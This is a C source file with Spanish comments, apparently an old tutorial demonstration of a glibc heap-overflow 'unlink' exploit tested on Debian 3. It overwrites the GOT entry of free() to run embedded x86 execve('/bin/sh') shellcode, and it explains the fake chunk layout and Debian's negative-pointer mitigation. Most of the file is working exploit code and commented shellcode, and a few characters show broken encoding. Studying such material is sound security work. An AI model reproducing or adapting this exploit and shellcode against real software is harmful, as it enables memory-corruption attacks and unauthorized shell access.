/* Explotando un heap overflow tipico en linux - simkin // badchecksum.tk
   - Probado en Debian 3

* Debian introduce una medida de seguridad para evitar heap overflows que consigue ser
bastante efectiva y que, a pesar de su simplicidad, dificulta la explotacion remota de este
tipo de bugs. Por ello esta tecnica solo puede ser usada de forma local.
  Esta medida consiste en un pequeño añadido al codigo de malloc, en concreto a la funcion 
free() que evita que los punteros negativos sean considerados como validos. Ademas, todos 
los manuales que he podido ver dependian de esta capadidad de free() por lo que han quedado 
anticuados. Esta restriccion no esta presente en todas las distribuciones.

#define FREEADDR 0x80498d4 //GOT + 28 (Global Offset Table + 28) puntero a free()
Esta direccion varia en funcion del SO que estes usando asi que si no estas en debian 3
o en otra version de debian lo mas probable es que tengas que hayar la direccion de nuevo.

(gdb) x/20x 0x8049814
0x8049814 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804837a

*/

#include <stdlib.h>
#define SIZE_SZ 4
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define MINSIZE 16
#define PREV_INUSE 0x1
#define IS_MMAPED 0x2
#define NON_MAIN_ARENA 0x4
#define FREEADDR 0x80498d4 //GOT + 28

size_t request2size( size_t req ) {
    size_t nb;

    nb = req + ( SIZE_SZ + MALLOC_ALIGN_MASK );
    if ( nb < (MINSIZE + MALLOC_ALIGN_MASK) ) {
        nb = MINSIZE;
    } else {
        nb &= ~MALLOC_ALIGN_MASK;
    }
    return( nb );
}

/*
#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD;                         \
}

    		free() -------------->
  buf1--->[size(request2size(40))][SHELLCODE-jmp x]
  buf2--->[size(OFFSETTOBUFFER)][bk(shelldir)][fd(free-8)][xxxxxxxxxxxx]
          [.... x mem ....]
  buf2nd->[size(x) - P_IN(0)][SHELLCODE CONTINUACION...]
				      			        
  -Si la shellcode es mas pequeÃ±a que el primer buffer no hara falta espacio para MORE SHELLCODE
  -Razon para que haya shellcode en el primer buffer: es simplemente por que la direccion ya la conocemos (buf1) y
por que asi no desaprovechamos los 40 bytes usables de buf1

  -El segundo buffer (el alejado en memoria) es otro que controlemos, deberemos conocer su offset
*/

char shellcode[]=
"\xeb\x0E"             
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xeb\x18"			//	jmp	0x18		// 3-4
"\x5e"			    //	popl	%esi		// 5
"\x89\x76\x08"		//	movl	%esi, 0x8(%esi)	// 6-8
"\x31\xc0"			//	xorl	%eax, %eax	// 9-10
"\x88\x46\x07"		//	movb	%al, 0x7(%esi)  // 11-13
"\x89\x46\x0c"		//	movl	%eax, 0xc(%esi)	// 14-16  
"\x89\xf3"			//	movl	%esi, %ebx	// 17-18
"\x8d\x4e\x08"		//	leal	0x8(%esi), %ecx	// 19-21
"\x8d\x56\x0c"		//	leal	0xc(%esi), %edx	// 22-24
"\xb0\x0b"			//	movb	$0xb, %al	
"\xcd\x80"			//	int	$0x80		// 27-28
"\xe8\xe3\xff\xff\xff"	//	call	-0x1d
"/bin/sh";

int main(int argc,char *argv[]) {
	int i,padsize;
	long *ptr;
	long *ptr2nd;
	char *buf1 = malloc(120);
	char *buf2 = malloc(512);
	char buf2nd[264];

	bzero((void *)buf1,120);
	bzero((void *)buf2,512);
	bzero((void *)buf2nd,264);

	/*sacamos el multiplo de 8 mas cercano a 2ndbuf y que este por encima de el*/
	#define BUF2ND_ALIGN (((long)buf2nd + 0x3) & ~(MALLOC_ALIGN_MASK))
	#define FAKESIZE BUF2ND_ALIGN - ((long)buf1 -0x4 + request2size(120))
	#define HELLCODE (long)buf1 + 0x8
	
	padsize = request2size(120) - 4;
	ptr = (long *)buf2; 
	ptr2nd = (long *)BUF2ND_ALIGN;	
	
	/*fill buf2*/
	for(i = 0; i < padsize / 4; i ++)
		*(ptr ++) = 0x41414141;
	/*copy shellcode mh4h4*/
	for(i = 0; i < strlen(shellcode); i++) 
		*(buf2 + 0x8 + i) = shellcode[i]; 
	*(ptr ++) = FAKESIZE;
	*(ptr ++) = HELLCODE;	
	*(ptr ++) = FREEADDR - 8;
	
	*(ptr2nd) = 32 & ~(IS_MMAPED|NON_MAIN_ARENA|PREV_INUSE);

	strcpy(buf1,buf2);
	
	free(buf1);
	free(buf1);
	free(buf1);
	free(buf1);
}
